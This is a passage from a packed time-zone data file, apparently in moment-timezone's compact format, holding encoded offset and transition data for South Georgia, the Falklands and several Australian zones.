WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|27e4","Atlantic/South_Georgia|LMT -02|2q.8 20|01|-3eLxx.Q|30","Atlantic/Stanley|LMT SMT -04 -03 -02|3P.o 3P.o 40 30 20|0123232323232323434323232323232323232323232323232323232323232323232323|-3eLw8.A S200 12bA8.A 19X0 1fB0 19X0 1ip0 19X0 1fB0 19X0 1fB0 19X0 1fB0 Cn0 1Cc10 WL0 1qL0 U10 1tz0 2mN0 WN0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1tz0 U10 1tz0 WN0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1tz0 WN0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qL0 WN0 1qN0 U10 1wn0 Rd0 1wn0 U10 1tz0 U10 1tz0 U10 1tz0 U10 1tz0 U10 1wn0 U10 1tz0 U10 1tz0 U10|21e2","Australia/Sydney|LMT AEST AEDT|-a4.Q -a0 -b0|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212|-32oW4.Q RlC4.Q xc0 10jc0 yM0 1cM0 1cM0 1fA0 1a00 17c00 LA0 1C00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 14o0 1o00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 U00 1qM0 WM0 1tA0 WM0 1tA0 U00 1tA0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 11A0 1o00 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00 WM0 1qM0 14o0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|40e5","Australia/Adelaide|LMT ACST ACST ACDT|-9e.k -90 -9u -au|012323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323|-32oVe.k ak0e.k H1Bu xc0 10jc0 yM0 1cM0 1cM0 1fA0 1a00 17c00 LA0 1C00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 U00 1qM0 WM0 1tA0 WM0 1tA0 U00 1tA0 U00 1tA0 Oo0 1zc0 WM0 1qM0 Rc0 1zc0 U00 1tA0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00 WM0 1qM0 14o0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0|11e5","Australia/Brisbane|LMT AEST AEDT|-ac.8 -a0 -b0|012121212121212121|-32Bmc.8 Ry2c.8 xc0 10jc0 yM0 1cM0 1cM0 1fA0 1a00 17c00 LA0 H1A0 Oo0 1zc0 Oo0 1zc0 Oo0|20e5","Australia/Broken_Hill|LMT AEST ACST ACST ACDT|-9p.M -a0 -90 -9u -au|0123434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434|-32oVp.M 3Lzp.M 6wp0 H1Bu xc0 10jc0 yM0 1cM0 1cM0 1fA0 1a00 17c00 LA0 1C00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 14o0 1o00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 U00 1qM0 WM0 1tA0 WM0 1tA0 U00 1tA0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 11A0 1o00 WM0 1qM0 14o0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 